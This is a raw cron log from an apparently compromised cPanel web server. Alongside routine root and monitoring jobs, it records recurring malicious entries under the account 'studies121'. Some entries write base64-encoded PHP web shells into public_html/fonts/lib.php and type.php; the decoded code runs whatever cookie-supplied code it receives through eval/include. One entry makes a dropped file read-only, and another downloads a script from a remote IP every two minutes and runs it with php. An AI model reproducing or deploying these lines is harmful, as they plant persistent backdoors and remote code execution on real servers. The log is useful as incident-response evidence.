Sep 12 09:07:01 ip-184-168-122-23 CROND[31630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:08:01 ip-184-168-122-23 CROND[31744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:08:01 ip-184-168-122-23 CROND[31748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:08:01 ip-184-168-122-23 CROND[31746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:08:01 ip-184-168-122-23 CROND[31747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:08:01 ip-184-168-122-23 CROND[31749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:09:01 ip-184-168-122-23 CROND[31886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:09:01 ip-184-168-122-23 CROND[31889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:09:01 ip-184-168-122-23 CROND[31893]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 09:09:01 ip-184-168-122-23 CROND[31894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:09:01 ip-184-168-122-23 CROND[31896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:10:01 ip-184-168-122-23 CROND[32103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:10:01 ip-184-168-122-23 CROND[32104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:10:01 ip-184-168-122-23 CROND[32105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:11:01 ip-184-168-122-23 CROND[32227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:11:01 ip-184-168-122-23 CROND[32232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:11:01 ip-184-168-122-23 CROND[32229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:11:01 ip-184-168-122-23 CROND[32231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:12:01 ip-184-168-122-23 CROND[32410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:12:01 ip-184-168-122-23 CROND[32411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:12:01 ip-184-168-122-23 CROND[32414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:12:01 ip-184-168-122-23 CROND[32413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:12:01 ip-184-168-122-23 CROND[32415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:13:02 ip-184-168-122-23 CROND[32526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:13:02 ip-184-168-122-23 CROND[32528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:13:02 ip-184-168-122-23 CROND[32529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:13:02 ip-184-168-122-23 CROND[32530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:14:02 ip-184-168-122-23 CROND[32647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:14:02 ip-184-168-122-23 CROND[32649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:14:02 ip-184-168-122-23 CROND[32650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:14:02 ip-184-168-122-23 CROND[32652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:14:02 ip-184-168-122-23 CROND[32653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:15:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:15:01 ip-184-168-122-23 CROND[406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:15:01 ip-184-168-122-23 CROND[407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:15:01 ip-184-168-122-23 CROND[410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:15:01 ip-184-168-122-23 CROND[411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:15:01 ip-184-168-122-23 CROND[409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:16:01 ip-184-168-122-23 CROND[544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:16:01 ip-184-168-122-23 CROND[546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:16:01 ip-184-168-122-23 CROND[547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:16:01 ip-184-168-122-23 CROND[548]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:16:01 ip-184-168-122-23 CROND[545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:16:01 ip-184-168-122-23 CROND[549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:17:01 ip-184-168-122-23 CROND[648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:17:01 ip-184-168-122-23 CROND[650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:17:01 ip-184-168-122-23 CROND[652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:17:01 ip-184-168-122-23 CROND[651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:18:01 ip-184-168-122-23 CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:18:01 ip-184-168-122-23 CROND[775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:18:01 ip-184-168-122-23 CROND[778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:18:01 ip-184-168-122-23 CROND[776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:18:01 ip-184-168-122-23 CROND[777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:19:01 ip-184-168-122-23 CROND[878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:19:01 ip-184-168-122-23 CROND[880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:19:01 ip-184-168-122-23 CROND[882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:19:01 ip-184-168-122-23 CROND[881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
